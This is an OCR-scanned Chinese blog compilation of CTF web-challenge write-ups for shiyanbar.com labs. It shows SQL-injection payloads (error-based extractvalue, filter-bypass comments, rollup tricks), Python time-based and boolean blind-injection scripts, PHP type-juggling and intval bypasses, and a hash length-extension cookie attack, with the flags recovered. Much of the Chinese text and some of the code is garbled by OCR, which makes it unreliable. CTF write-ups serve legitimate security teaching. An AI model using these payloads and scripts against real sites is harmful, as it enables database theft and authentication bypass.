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HRER: CTE X EIRE: %4 webifi® CTE

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/m0_37496212/article/details/87940002

FERAL

&

1RXEO0TH

£

JEEHF:

CTF ik http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
BEABE: 1, BFFEN, B3EEE N, XTMD5ME.

<html lang="en">
<headr
<meta charset="TTF-2">
<titlerDocument </ titler
<fheads
<body style="background-color: #9987
{div style="position: relative margin: 0 auto;width: 300px height: 200px; padding—top: 100px; fort—size: 20 ;" >
<form actior="" method="post”>
<table>
<trr
EREEBERERRITER™
<ftrre
<trx
CEdrERr St tdrddnpnt type="text” name="password »tdr
ftrr
<trr
Ctdrdinput type="submit” name=" submit’ stvle="margir—left: 30px; x4 tdr
<ftrre
<ftahlel
<fforme
ERER! div
<1=— fpaz=sword=} POST [ password’] ;
$=zql = “SELECT * FEOM admin WHEEE uszername = “admin’ and password = * % mdS{$password, trus). " *;
fresult=my=qli_query($link, $=ql);
if (mey=qli_mm rows (fresult) 00 |
echo "flag iz ;. $flag;
1

e T s T = I I s T TR S S T N T . I o = T s I Y S S ) N IR e T s T = R (R T TR S S Y S Y

else{
echo "EWER
b=
2| </body
RN, LN

XEEKMASORBARNSH, —IMREMEN TS, B RmEEN, AR
raw

A FURE 7N i B ) A

TRUE - JR1& 16 245 — 3E i =
FALSE - BRil. 32 F/ TNt Hl %k

B R A A WIE A H I XA hex 2B R 71 8, WRFEHRZ FERTFRSHRE or, MaMEERIER —RHAR

$sql="select password from users where password=""or

BT sqiEN


https://blog.csdn.net/m0_37496212
https://blog.csdn.net/m0_37496212/category_8705901.html
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Rpt—ANFrrE: fifdyop
md5J5, 276f722736c95d99e921722¢f9ed621¢

BERFRE: 'or 6<HAbLFRF>
1 TR IR TN
CTFE#hiE: http:/ctf5.shiyanbar.com/web/baocuo/index.php

EABEE: B0 FHRERB—E 0. R85, EAREARE WBERTHIEAN.
BN, RIA— KRR

BT 2 JEfEusernamefpassword @32 #.5] S#iRk 4, YHHHENT, ETRMEMESQENEDT .
#—4%% username=1’ or extractvalue/&passvord=1/(1,concat(0x7e,(select database()),0x7e))or’
XEFERBMIR

1.http 23 FIVEN CRTERERF/ AT o A KB AR )

2.extractvalue i 3t (FRHTXML, REIZEHKE A MconcatiE Bk, SRAIREE. FTUSHEREBRER

3.concati&i# (concat (a, b, ¢) EFFFHabcEfER, BFAMMERNFHAR, BERARKTFEER, IESTERRD
k. Bl RI0x7e, RA~FFS)

15 Bl i 4

XPATH SyntaX error: ‘error_based_hpf’
% —%username=1" or extractvalue/&passvord=1/(1,concat(0x7e,(select group_concat(table_name)from
information_schema.tables where table _schema regexp database()),0x7¢e))or’

A EEMER S R, BT - TERIED (ps: XEEILWETEHS, LA In(), regexp()'% 7y sud)
FE] T group_concat()ei %, FEAERGERAEZIT(EANR), EMRENEARKZTRENTRELER,
8% 4 XPATH syntax error: ‘fiasjjusers’ P13, —HHEI—1

2B =%kusername=1' or extractvalue/&password=1/(1,concat(0x7e,(select group_concat(column_name)from
information_schema.columns where table_name regexp ‘ffll44jj’),0x7¢e))or

1537 B 4 XPATH syntax error: ‘\aiue’
Y% username=1’ or extractvalue/&password=1/(1,concat(0x5¢,(select group_concat(value) from ffll44jj)))or

XPATH syntax error: ‘\flag{errOr_b4sed_sqli_+_hpf}
e R = N

CTFHulik: http://ctf5.shiyanbar.com/web/earnest/index.php
NIFTTF R —NRAKE, B—RMESqVEN, Zd %ML HLE R

1IRZ1BAEALENAE, E/RYouare in,
2 JRABAA R REGEALEN AR, ARkES, HERYouare notin (LA —F)

3 IR H LR IR E R/ & i 5 I FaRsql injection detected, & &-F it (AT FBurp suite it 17 B MR B AR X BURFRF) K
WL F5Eand, ZH, +, #, union, &S,


http://ctf5.shiyanbar.com/web/baocuo/index.php
http://ctf5.shiyanbar.com/web/earnest/index.php

4 RZZIEA)A=1"0r 1'="2, WRMITXFor& A EMAIENKTE, MIREYouare in (FAFEMEAH R, HE3TRERd=1) , HE
REI) 51 & You are notin, HBHordi b T . — &M )E & ABEEHZILCor. or (RA KNS | or+ZE#EHFHBMANT . HAE
KANEFHoorfRE, KIEEE AYouarein, WAV, FELEMZLEILEor UNE) , HKHEHAT, FHEMUNLHET
—R. FTUAER T RMIE M IEH AT LU Hoorr, ORE R Eor.

A4 H T RBAVEE H pythonI A AT B E

HBEELGKE>SHEEEL>SHRLKESHEL>SHTPBLKE>HTEYZ
BEER AR, @i 2 corr(X BUER))oorr2 , HJIESHIES ANER, FEIRE Youare in; 7 IR B HAt .

i#idrequests.post(url,data) — M-S E, EESRE FEIIERpost %, "Youare in" HILTE requests.post(url,data).txt
B, BEBRE R, REHETE RN TR, BT

1. TRIRFFEHsubstr O FdIET, Amid O RBOXBIFHBCER

2HTESHIEIET, £mid O HFH Hfrom(%d)for(1)REE S 4FRAF, Wmid((database())from(1)foorr(1)RREL FE—AF
B (ford ortb g3 T, ArLAHfoorr) o

SHITEMPLIIET, HATH

flag = flag.replace(’ ', chr(0x0a))
1 E A P B B 48 Fchr(0x0a), Ut R BATRAnB AR (X472 ), HEEREAREER T, FEARESRE TS 1
BEAZEHKT .

4 $&FErequests.post(url,data)+ ) data— & Z & F #{id:“ "}

S/ KERIERIASE 7RI — 4, RAASBAERRN TN, R 5E, BLEREN, WA FILESR, &RET
HELHHBTRRLTRE.

(group_concat(table_name separatoorr ‘@’)

(group_concat(column_name separatoorr ‘@’)

UL LB K& table_namefcolumn_name, ZF N HEH EZNRBEMENFE, XMEALEINERA, FREL—RHEHIFH
@Kz nk. BE@ESE XA

7. BJEEA NI R F A R BEE K E13AAREFRNFHKE, BB SHR-RTHEESCRK, AR5 25 A
RNEHEGRT (ZBEARMHD, EHMTZARA—HF2? I 2BRZHMEFET) - B EETH, BEERHKAagR
flag{hahayou-winypy-g 2#s, 57 sUE Ryflagfagihahayou Winl}e

BRI TR —Mhave funl B TIRBEEHE H48RR, HEEWMAME, BITITF12EE
Wi B2k Hr A —ANhint,  FTIThintitihl, FREGER .

foreach([$_POST] as KaTeX parse error: Expected '}, got 'EOF' at end of input: ...{ foreach(global_var as $key => $value) {

value= trimﬁ value);
is_string($value) && Teq[key] = addslashes(KaTeX parse error: Expected "TEOF’, got ’}’ at position 14: value);

AT s R B IRAY R B flag A DY A2 AF
|

' i

k

if(is_numeric($_REQUEST['number’])}

$info="“sorry, you cann’'t input a number!”;//44$1: AR R 2 EF

1elseif(reql number|!= strnallintyall req/'number’]))){

$info = "number must be equal to it's integer!! "; //Z&#F2: HNFIMEZ T AR R N AR KL

lelse{



$value1 = intval($req["'number"]);
$value2 = intval(strrev($req["number™));

if($valuet!=$value2){//ZAE3: Hi N HE B 878 s A B %A R B8] 2 /5 T A8 PR 7 —
$info="no, this is not a palindrome number!";
else{

if(is_palindrome_number($req["number"))){//%4: NN BE R B ST, 5~ BRI R AS G —
$info = "nice! {$value1} is a palindrome number!";

else{
Sinfo=$flag;

echo $info;
TR, FRARENTA? MMERE, EETHRIIE RN G884 20 8E .

0. #yAab, intval(ab)=0,strval(0)='0"'=ab IANFRFEHE W HFE5FZ/RFE, ¥ Winval()#) FHEMstrval ()i HEf==

#i A\ 1ab intval(1ab)=1,strval(1)="1'1=1ab

MABAMATR T, HEFME1, 2WFANEETEAY, FREHIHA, FEXT.

ERH 2N B SR 245 BRGETRAG O ZR B0 2H R 8 40 L 1% B BRAB XD R 4 ] B

2% T T B AHIWP https:/blog.csdn.net/jblock/article/details/78745513
A PR 5 AT DA R IX I8

—. # Hintval OO R

intval()BR BCA MR, R R AEIR ElintyE B AL, inth) Y8 Bl T HRAE RARI2MLIER640L, FAImI N k7T AF H

W TR L3260, 326 R ZintiIEUE min-2147483648 max2147483647 (HRkT2(31K707, BELLARS AL

intval() ek $ont T 48 H X3 B A AL B2 1) R AL, Wintval(99999999999)=intval(2147483647),

HABAT R Eiknumber=2147483647 5L 7T LAl B &2, %143, %14

(Il M IETE R B — R 7T LA R 412,340, SEbr B &@ R ?

A BLGIT KA ORI RA TR ER? WP L R ERZ M TR E M £E%20 (F#) , %00 (%) , HMei@En
is_numeric() B $IE LA B IRBUNIESUE. .. FIEAE, RERLMER) . FrRIIME

poc: number=2147483647%20 % (number=%202147483647 14T, B ANEA KB Kis_numericeid 38 305 B T I 4% )

& Flflag

— FiE0=0

poc&number=0e-0%00. 4R EBWR? B hR&M1 28 M, FRNekBZ i Huk, £A2MBIEeLRERF. REHKMH=: FR
FIEE N0e-0RZBMAFERFTETE (emmm, BEEFAREZEZIN) BlidR20-e08 2 FRWEeITRT, B-RAE, AL
%M =pass, %M, . XARBEARZE L. &, BEIEER.

—FHi—THY sQL


https://blog.csdn.net/jblock/article/details/78745513

43#r: */ select union or # i ¥
RBE & E#iIER): $sql = “select user from flag where user="$_POST[‘user’] and password="$_POST[‘password’]”;

é’l
username:1
password:1

i

$sql ="select user from flag where user="1" and password="1"";
1
HETH H 2 I B, BISQLE WA HRES

i«

username:’

password:’

R $sql ="select user from flag where user="NULL’='NULL’ and password="NULL'='NULL’"; [#5| 5 FHHBEANS, KK
3, RikgEl [TRE%RS])

JE3X: https://blog.csdn.net/weixin_40776369/article/details/83316472

—who are you?------
JFRREERE:  http://ctf5.shiyanbar.com/web/wonderkun/index.php

BARIT S 2 B Ryour ip is :xx
HARBAXANMEE SipE XA, B5X-Forwarded-ForF#E—EX R

SR T —TF, X EBEEH T googleIModify-http-headers#fi #4715 ip 8127.0.0.1, KRIMFEZITHF B RHERE T, HAKIHE
BEMKTFlagiILE, bpBET—T, » » RRRBELR, —Lk, REEHET TEERRE

RIE L idFdbh &

6%, EHEIFT RA—MHF, EIX-Forwarded-Fortf REM A NEHEE, BELR, MAREEESARNE
B, WEHAHMBENTRT, WA BRI (EERKTE, WIEW) BT

BiES=ME BN 2RETA/RE, R, NEEER

R IR, sleepB LR KB, MiZZAREEET

T T B ARG


https://blog.csdn.net/weixin_40776369/article/details/83316472
http://ctf5.shiyanbar.com/web/wonderkun/index.php

# -*-coding:utf-8-*-

import requests
import time

payloads = 'abcdefghijklmnopgrstuvwxyz0123456789@_.{}-' #AKX 4 K/NE )

lag=""
print("Start")
or i in range(33):
for payload in payloads:
starttime = time.time()#ic 3% 24 1 i} 8]
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"#% B url
headers = {"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari
537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzp, deflate",
"Cookie": "Hm_Ivt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f735
3ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",
"Connection": "keep-alive",
"X-FORWARDED-FOR":"127.0.0.1" and case when ((select count(flag) from flag where flag like "'+flag+payload+"%')>0) then slee
p(5) else sleep(0) end and '1'="1"
¥
#bp&E F|header# % X-FORWARDED-FORATEH, faTHEAIRNE AMMlaghik#Eiiflag, #H FEEB Nflag, payloadZZ&#Hf#:NIsleep5ts, &
N8 7] LA — T case whenig ) flllike %iE 5]
res = requests.get(url, headers=headers)
if time.time() - starttime > 5:
starttime2 = time.time()
res = requests.get(url, headers=headers)
if time.time() - starttime > 5:
flag += payload
print(\n flag is:', flag, )
break
else:
print(", & EREN T, BEAWiiRpayload, #KEIEERIflag kXA JEHLRAT—4
print("\n[Finally] current flag is %s" % flag)

BHS: HEEITHSE
CTFHitk: http:/ctf5.shiyanbar.com/web/pcat/index.php
HHER—NEFERCUKARTE, BFNHEIE T LLE 2 A source:source. it 7

FTFIEE: http://ctf5.shiyanbar.com/web/pcat/source.txt

" LA B & R KphpiZ 45 :



http://ctf5.shiyanbar.com/web/pcat/index.php
http://ctf5.shiyanbar.com/web/pcat/source.txt

<?php
error_reporting(0);

if (lisset($_POST['uname']) || lisset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>"."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>"."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;

unction AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
ki
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "PEFT BT i SR ERIT 3 28 O SRR A
exit();

$filter = "and|select|from|where|unionljoin|sleep|benchmark],|\(\)";
oreach($_POST as $key=>%value){
AttackFilter($key,$value, $filter);

Scon = mysqgl_connect(" XXX, " XXX, " XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
t
Sdb="X0OXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname ="'{$_POST['uname']}'"";
Squery = mysql_query($sql);
if (mysql_num_rows($query) == 1) {

$Skey = mysql_fetch_array($query);

if($key['pwd’] == $_POST[pwd]) {

print "CTF {000
else{
print "~ B B BTIB R )"

}
felse{
print "JE AT i 288 F 41
}
mysql_close($con);
7>

A LAE ], XEHASQLK—ANyEss, B—sqlff i 7#H inbenchmark,

T ELsql & #)iEA) & :

SELECT * FROM interest WHERE uname ='{$_POST['uname’]}




X H:

mysql_num_rows($query) ==

XA B EIEE TR RE — %, XHSEBERMRRAFETRZ MunameBHH SR, WRERAEF %N 4%
%, mARAEWLERPKpwdF B fpostid % KkeyEAMHF, M4 Hiflag.

XA BB BE AN — AN, FATE A group by pwd with rollup SRTEE W R n—17, 3 HiX—17pwd ZEHIE INULL
FEmysqlE 75 SCRY o 23X FE H R rollup B8 B «

KRR = Bk R AEGROUP BY¥A] 14 FIWITH ROLLUP & 7E$(3E FE i\ — 47 FI SR 5 5.4, ROLLUP-FA) I BEin v 40 i A
%, ALASEmysqlitE 73Xk, A ZMBERT .

45 & limitfloffsetit 7] LA 5 tH —/>payload

BI: #IANBIFH 4 4:  or 1=1 group by pwd with rollup limit 1 offset 2 #
X BB — T B T B SQL:

SELECT * FROM interest where uname=""or 1=1

group by pwd with rollup - (Z£ %38 B i in— 47 4 /8 pwd=NULL )

limit1 (REH—T)

offset2 (M ATFFEAE WD

HER

I B 2 0 R B 2 B ] A ) T

B HG6: fﬁﬁﬁ'ﬁl@l‘]sqlﬁ)\‘z3

CTF#tt: hitp://ctf5.shiyanbar.com/web/index_3.php

QyFTHEN:

H4id=1, RUHEIERIREHelo! , RE4id=1", KUK :
£id=0, WHTARER, RidtEs ERREHelo! K5 E
HIN?id=1 and 1=2 T IF% ?id=1" and ‘1’="2 J M ToHi H

UE, IMRFHAUSQLIEN, RiJiE55Mand, FAEEHKEL THthelo, #iRTHL, HWESQLEE, HFBRXELT
EEREE

4id=1"and(select count(*) from admin)>0 #

RIIRAEE, AfEEadminx A%, 1’ and(select count(*) from flag)>0 #HIiH&, iR [Elhello, #tBifEElag®
SR JE RN B 4 KT A -

?id=1"and(select %14 from flag)>-1 #

8% ?id=1"unionselect 514 from flag #

LidFBRFILFER Hhelo, NEENRE,

2id=1"and(select flag from flag)>-1 #, T iy tihello

RERENNBERHERT, BT —MIEABHREEFTEA;
HFHERRETBNEM R —L, RE— DA


http://ctf5.shiyanbar.com/web/index_3.php

f#author:Travis Zeng
import requests

strings=string.digits+string.ascii_lowercase
element=[]
element_str="
FLAG=False
def POC(x,)):
url="http://ctf5.shiyanbar.com/web/index_3.php?id='
poc="1'and+ascii(substr((select+flag+from+flag)%%2C %d % %2C1))%%3D%d%%23" %(x,i) #python 2K %Bl NS ikl , 7 243 B %8
e SO N %%

print('testing url:'+url+poc)
res=requests.get(url+poc)

if res.headers['Content-Length'|=="471":

return 1

else:

return 0

or xin range(1,35):

for i in range(30,129):
if POC(x,i):
element.append(i)
break

elif i==128:
FLAG=True

if FLAG:

break

or k in range(0,len(element)):

element_str=element_str+chr(element[k])
print("Test Finish! ")
print(element_str)

BET: FEBRsqiEANZ2
CTF#kt: hitp://ctf5.shiyanbar.com/web/index_2.php
BHARERAG5:

http://ctf5.shiyanbar.com/webfindex_2.phpid=1%

[] Enable Post data [] Enable Referrer
flag

HRdiE T HARAE?

| have an error in vour SQL syntax; check the manual that corresponds to vour MySQL server version for the right syntax to use near '“1’’" at line 1

RAERAS, TLAIEIX B RS SRARITIE, M iEmBlsqifft, S8 REMmK AN, il T S, 4R, THRTLU
%20, %0a, /I, INl, 1!50000/, +, ()&#:, H$%20, +AI()HFELET, ZRIBERSETUSEE, T H AR ZFEHE
A 255 i i

XA B R IX HFE T E AR L U8,


http://ctf5.shiyanbar.com/web/index_2.php

FRHS: fEMIsqVEAN
CTFHbhE: http://ctf5.shiyanbar.com/web/index_2.php
BHARERERETS:

httpy//ctfS.shiyanbar.com/423 /web/%id=1'#

[] Enable Post data  [| Enable Referrer
flag
g T HA%KA ?

u have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use mear ' 1

3

at line 1

BAEHEIE, REEHREBEH, andBud il T EEForik A Bid k.

hittp://ctf5.shiyanbar.com/423/web/7id=1" or "="#

[7] Enable Post data [ | Enable Referrer

flag
i Y A% ?

ID: 1" or '=
name: baloteli

ID: 1" or ’=

name: kanawaluo

ID: 1" or '=
name: dengdeng


http://ctf5.shiyanbar.com/web/index_2.php

THERBERLMTEER, KIMTETIELEEF: and, select, from, union, where, XBZutkBFHRIHIER: FL@FH
T, 1K, REEFHIAN%0bRENR, FRFEES (KxBFRT) , KNBRASE, BRE/IMSEE, TR
B, SEflagRe 7B ARR:

http://ctfS.shiyanbar.com/423/web/?id="or(/*Iselect*/count(*)/*Ifrom*/flag) = 0/*land*/" ="

[] Enable Post data [ | Enable Referrer

flag
il 7 H A% ?

ID: ’or (/*!select*/count (¥) /*! from*/flag) >0/*'and¥*/ =
name: baloteli

ID: ’ or (/*!select*/count (¥) /*! from¥/flag) >0/*!and*/ =

name: kanawaluo

ID: *or(/*!select*/count (*) /*! from¥/flag) >0/*!and*/ * =
name: dengdeng

WA EagR, MEAMEREZERT, USRI TEEIE, THRREREagT :

flag
FlmidiE T A% ?

B2 Ein

ID: ° /*lunion¥*/ /*!select*/ flag /*!from¥/ flag /*!where*x/ ’’ =
name: flag{YOu @r3 50 dAmn $00d}

EEEERAZATT AR, FEREBIINZEEIEENERRARRA, BrCUREERE &R~ G R
ps:IX BIGH — Mt B R4 R B AR T

flag
FlidiE A% ?
E==rl

ID: ’ or /*! exists¥*/ (/*!select*/ * /*!frowm*/ flag) /*!and¥/ '’ =
name: baloteli

ID: ’ or /*! exists¥/ (/*!select*/ * /*!from¥/ flag) /*'and¥/ ’’=
name: kanawaluo

ID: ’ or /*! exists¥*/ (/*!select*/ * /*!frow*/ flag) /*!and¥/ '’ =
name: dengdeng



HY: R ETyMER AR
CTFHbYE: http://ctf5.shiyanbar.com/web/10/10.php
B REEL R IAME IR

There is no martial art is indefectible, while the fastest speed is the only way for long success. <{/br>>>>3>> You must do it as fast as you can!——<LLLLL b

(!—— please post what yvou find with parameter:key —>

FMiposttIZHH X, HMEEFIHRCE
http://ctf5.shiyanbar.com/web/10/10.php

GET fweb/10/10.php HTTP/1.1

Host: ctfS.shiyanbar.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWS4; n:53.0) Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml +xml application/xml:q=0.9,*/*:q=0.8

Accept-Language: zh-CM,zh;q=0.8,en-US:q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: Hm_lvt_34d6f7353ab0915a4c582e4516dffbe3=1493711264; Hm_lpvt_34d617353ab0915a4c582e4516d ...
Connection: keep-alive

Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK

Date: Tue, 02 May 2017 11:56:17 GMT

Server: Apache/2.4.18 (Win32) OpenS5L/1.0.2e PHP/5.2.17
X-Powered-By: PHP/5.2.17

FLAG: UDBTVFSUSEITX1QwXONINESHRVOGTDRHOkhyZDUOc1lpUA==
Content-Length: 216

RIT —AFLAGS ¥ 2 Fbase644iL ), MRRLEMZR: POST THIS_TO CHANGE_FLAG:Hrd54sRiP, R% T JLKKRH: &
K ZRFREFENLE, BRARMbIRR K R R postiR X S Hikey, BB EBIHMESpyWAMIEERL, BWAIT:

import requests

2 import base64

8

4 url = 'http://ctf5.shiyanbar.com/web/10/10.php'
5 s = requests.session()

6 response = s.get(url)

7 head = response.headers

8 flag = base64.b64decode(head['FLAG']).split(":")[1]
9 data = {'key": flag}

10 result = s.post(url=url, data=data)

11 print result.text

REHPAT SRR PFLAGTFBR N A, Mbaseb4fi#il, MRIG1EAkeyIMEMEpostiFK, &) FTENE R MRLH A
&, Bfag, BITHRWT:

D \Pythor27'\py fPycharmFrojects/untitled/SQL_injection/FPost_
CTF{T0U_4R3_1NCR3DI1EL3

Process finished with exit code O



http://ctf5.shiyanbar.com/web/10/10.php

BHE10: ikRHE
CTFH#blk: http://ctf5.shiyanbar.com/web/kzhan.php
X R 2 DR A%, IS K Blcookie BB F —ANAI BE i) S Hisource=0

http://ctfS.shiyanbar.com/web/kzhan.php

GET jweb/kzhan.php HTTE/1.1

Host: ctfS.shiyanbar.com

User-Agent: Mozilla/3.0 (Windows NT 6.1; WOWG64; n:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml +xml application/xml:q=0.9,%/*q=0.8
Accept-Language: zh-CM,zh;q=0.8,en-US:q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http:/fwww.shiyanbar.com/ctf/1848

Cookie: sample-hash=571580b26c565f306376d4f64e53cb5cT; source=0; Hm_lvt_34d6f7353ab0915a4c582e4516...
Connection: keep-alive

Upgrade-Insecure-Requests: 1

Zikitsource i1 /a, BARIRAD T, Priliictf B MRS T 7 B EN... T H2HEH:


http://ctf5.shiyanbar.com/web/kzhan.php

LT
1 <html>
2 <body>
8
4 <pre>
5 $flag = " XK
6 $secret = "XOXOOOOOOOXOXNXXX"; // This secret is 15 characters long for security!
7
8 $username = $§_POST["username"];
9 $password =$ POST["password"];
10
11 if (lempty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) !="admin") {
if (SCOOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");

}

else {
die ("You are not an admin! LEAVE.");

26 setcookie("sample-hash", md5($secret . urldecode("admin” . "admin")), time() + (60 * 60 * 24 * 7));
27

28 if (empty($_COOKIE["source")) {

29  setcookie("source", 0, time() + (60 * 60 * 24 * 7));

32 if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here

35}
36 </pre>
37 <h1>Admins Only!</h1>
38 <p>If you have the correct credentials, log in below. If not, please LEAVE.</p>
39 <form method="POST">
Username: <input type="text" name="username"> <br>
Password: <input type="password" name="password"> <br>
<button type="submit">Submit</button>
43 </form>

45 </body>
46 </html>

B — TAHUERD, BB MR ERESSIN, &38R 3 Zcookiet K1 Hgetmein N 2R, 45 A2 urlmil 12 Fusername Fl
password, REKHEMILESEE —1NSHsecrethBER—NFA/FE, REM— " md5mE, wHEHMcookied ZHgetmeinft
AR, W4BEfag, {H1E B8R cookie A XA S Hgetmein, MR EERNIE OHE, HETLRECookie T FHERS
Hsample-hash, HASHIRBEBITHIE, sample-hash@—Amd5ME, RIGZEE T LLIRB G & Msecret, 4R/ B AT DURHE XA
EMEEFRIMASE T, (HRmASIE BTN, BEMENIE—RITERARIBMR, BOBERATRT, HEHKsecret
H1500, XEEABIM—ANR S Zhash K EY B YT, XEBEH—B X2 XA 5iR A

#: http://www.freebuf.com/articles/web/69264.html

B RIXME, EXERIEEZE



http://www.freebuf.com/articles/web/69264.html

BH11: forms
CTFH#bhE: http:/ctf5.shiyanbar.com/10/main.php

MNFRRBEOLLLE N —BRW T, —BREERAEARNERN, BAARBEHEART, RRRKBERNBEARAE, X
BB REIRG R, T H 2R RO HE S EE RIIRR 2 K

<form action="" method="post">
PIN:<bx>
<{input type="paszword name="PIN" wvalue="">
<{input type="hidden” name="zhowsource” value=0>
<{button type="submit”>Fnter</button>

</form:

</body>
</html>

] LB BRI R — R, & FR&showsource, valuefZ0, HUKEZiEZLBEET, FEZREERENEE, H
BRI IRATIEX B fvalue St si1, BI AT 3REXVERY :

$a = § POSTL"PIN"];

if (§a == -19827747736161128312837161661727773716166727272616149001823847)
echo “"Congratulations! The flag iz $flag”;
b oelse {

echo “User with provided PIN not found. ”:

User with provided PIN not found.

PIN:

ZJEHUREIR T, HEREIRHEpostHidE, SRWT:


http://ctf5.shiyanbar.com/10/main.php

Post data PIN=-19827747736161128312837161661727773716166727272616149001823347

Congratulations! The flag is ctf{forms_are easy}

PIN:

BEH1: RMEHERA
CTFHuht: hitp://ctf5.shiyanbar.com/10/web1/

{trx>

<td>A P4 </ td><td>{input type="text” name="username” value="admin”></td>
<t

<trr

<td>EERY: </ tdr><td><input type="text” name="password” value="admin”></td>
<t

<trr

<td><input type="submit” value="8AZRH"</td>

<t

</table>

</form>
!— Stest=85 GET[ username’]; Stest=md5($test): if($test=="0") —>
</body>

EIFEBREEE —MER, SfEANKHusernameEZmd5Sin®E 5% 0, MaREIREERT, ¥ ElagsiH EL

HEFEELT, PHPASIERMERE (SHERFNERFES) BHREBELARE, = BEFMRARE 2 —. EMFH == BEK
SR FF B BT BB, PHPSIEREER F/F B B ASERT IR, MESHREFZFE, WREFZ/FEFE AR
R FHZFZ AT B rRR B EME. thin: ‘3’ =='3ascasd’ 45 F Atrue.

H#HE F X B writeup:http:/Aww.cnblogs.com/ssooking/p/5877086.html

B RER B —AFHMEFE—ANFRN0T, BAEEHHR+ BT, XERMEILA:
240610708, aabg7XSs, aabCIRqS, s878926199a. QNKCDZ

FEERIMEREA IR 5.
FAFPE: 58789261993
= admin

/user.php?fame=hjkleffifer

RERARME| - B2, ZERMAIRDHIHET

@ LoadURL  httpy//ctiS.shiyanbar.com/10/webl php?f:
@ split URL

+) Execute

[T] Enable Postdata [ Enable Referrer
$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???" && $data_unserialize['pass’]=="2??") { print_r($flag); } SEAHIEE RphpHSiE : Fitbf
R, MibAR, EETEF


http://ctf5.shiyanbar.com/10/web1/
http://www.cnblogs.com/ssooking/p/5877086.html

YRRG b SR 68 B — A R Bunserrialize(), X & — M Hphp P46 A 5% R $L

serialize() XF I\ FIEHE AT 7 F40 s 4
unserialize() (kB R AZE, BIRELEFIUKIST R

A E B, BEWREIMpasswordZid B A4 R s, Hruserfpass#iE%4 TG & HEME, RESIRE—Afag,
HRBRERMIEAMEEEHIXIHEMET 2, TRXEEZNHZphplIERE T, boolZkA! itrue BT R /7 & # I LLFFAE
RIS, BRI A Ebool2S B ) FHI4L B : a:2:{s:4:“user’;b:1;s:4:“pass”;b:1;}iX )i ) & & £ password & — MK B 42

% (atafidl, siEFfrstring, HERKE) , f—NmELuser, KEH4, boolEiN1, H—mE&pass, KEN
4, boollEi A1 (b¥gboolH) , FRBIFELERWT:

|¥ | Clauie FusL ddia Clhawe neleinren

Post data Content-Disposition: form-data; name="password"

a2z "userbilis:d:"pass™; b1}
e -3177 5226792825~

AMEERS

Ze5{FEE
MF:admin ZB:admin
RN R AR ERPSHER S hE 18 SO SnEh,

B MERTAINN= 5.
FAPE: admin
%: ar";b:1;5:4: "pass";bi1;}

ctf{dwduwkhduw5465}

B H12: once more

CTF kit http://ctf5.shiyanbar.com/web/more.php?password=1
BAVIT e, ST

Password

[ View the source code ]

XBE R Apassword, BATATLLGRIA, 123BFXNAX, BB, BEAN, BRIVZELAHWR? BRATEBIXATHE A LIFE FIVE

g, BAllAEview the source code, FATER T —EWEABRBRIR, HihkRereg$l, XNMREAENREN, E TR
PLE!

T i FATHE — XA password ) 24 IE !
HARMAKEREay, pZ, 0~920H, HRABTXANKMHE, HXRELKEE/NFS, EEKT999999, XAMRFEW? F2

HIRRBAE F AR AL EE, REARRREGER S AR T HEW? RIOTEET &M, BN —EEZEE, M
PEALE AN — AR R T, AR B T ?



RIABATIREE] T eregrhi B, XA REEMBERIIER, v CAER, FRATRT A FHBPEE 2 i 2 B 008 W R 1T 8:A4E, ATOARR
{117 BA S A T password:

9e9%00*-*

%)\u}ﬁ)ﬁT—E‘ChGCk’ ’%%Z‘_‘_\‘izé\—’/{f%lﬁw o o o

wE ¥ A& B ® $(- |- 4 ¢ B FE|- 0
D&

'(' 'b ctf5.shiyanbar.com/web/more. php?password =9e9%2300"- I U | Q Bk

B 2zwE | xnEses @ sErk | 2AR IE sams
INT v| = & SQL- XS5+ Encryption- Encoding- Other-

Load URL
Split URL

= &= f

Execute
Enable Post data Enable Referrer

You password must be alphanumeric

Password

Check

View the source code

MARERAGE, REBRATTLUE BIXA M itpassword, &2 %K %%00 H 35U 72500, XA 23 W88 1 — MR,
BATR TEEM I EHATBSEAT T !

v @ | QZE ke %iE ¥+ A D P - e os @ M

':_. € IIG' ctfS.shiyanbar.com/web/more php?password =9e9%00~-* I

snE [ vdaisses @ wEriE | SRR D) sras
INT v| = & SQL- XSS- Encryption- Encoding- Other-

@ Load URL
%
»)

Split URL
Execute
Enable Post data Enable Referrer

Flag: CTF{Ch3ck_anD_Ch3ck}




XS 2 T Flag!

[BE 1EH
Dk fRARET 1 1 !

https://

B H13: Guess Next Session
